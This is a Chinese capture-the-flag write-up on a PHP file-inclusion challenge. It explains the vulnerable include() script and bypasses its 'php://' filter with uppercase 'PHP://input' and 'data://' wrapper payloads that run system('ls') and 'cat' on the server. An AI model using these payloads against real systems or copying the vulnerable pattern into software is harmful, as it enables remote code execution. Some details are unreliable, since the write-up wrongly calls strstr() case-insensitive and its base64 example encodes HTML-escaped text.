<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
0.分析代碼
我們先來分析一下代碼吧。
<?php
show_source(__FILE__);
echo $_GET['hello']; //hello變量接受get傳參,可以利用hello顯示某些內容
$page=$_GET['page'];//page變量接受get傳參
while (strstr($page, "php://")) { //檢查page變量中是否含有字符串“php://“
$page=str_replace("php://", "", $page); //將page變量中的“php://”用空字符串代替
}
include($page);//文件包含,可以執行page變量中的代碼。
?>
1.由include($page)看出本題的考點在於文件包含。
2.php://被過濾了。
1.文件包含漏洞是怎麼一回事?
文件包含函數加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他惡意文件,導致了執行了非預期的代碼。
示例代碼
<?php
$filename = $_GET['filename'];
include($filename);
?>
例如:
$ _GET[‘filename’]參數開發者沒有經過嚴格的過濾,直接帶入了include的函數,攻擊者可以修改$_GET[‘filename’]的值,執行非預期的操作。
所以我們想要找到flag,入手點就在於給page傳什麼值,利用include()函數,服務器會將傳入的參數執行,我們可以藉此得到服務器內部的信息。
2.給page傳什麼值
首先,我們想弄清楚flag在哪。
所以我們可以給page傳能顯示路徑下文件的命令。
例如:
<?php system("ls")?>
<?php system("dir")?>
其次,我們要決定,用什麼方法把命令傳到服務端。
1.我們可以選擇利用php://inpu協議,POST傳輸惡意代碼。
這個協議是PHP的內置URL封裝協議。
使用方法:
注意php://會被過濾,並且用於過濾的函數strstr()大小寫不敏感。所以我們可以把php://換成PHP://或PhP://等。
用burpsuite抓包,修改post傳遞的值。
得到如下結果:
我們可以看出,flag在fl4gisisish3r3.php這裏。
2.我們也可以用GET請求,data://text/plain;(base64,base64加密的內容)
也可以直接data://text/plain,內容
注意plain後是逗號不是分號.
php5.2.0起,數據流封裝器開始有效,主要用於數據流的讀取。如果傳入的數據是PHP代碼,就會執行代碼。
我們將<?php system("ls");?>進行base64編碼,得
Jmx0Oz9waHAgc3lzdGVtKCJscyIpOz8mZ3Q7
執行?page=data://text/plain,<?php system("ls")?>
我們得到:
3.查看fl4gisisish3r3.php的內容。
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
因爲php代碼不顯示,所以再查看網頁源代碼,得到flag。
不太懂的地方:
劃掉的地方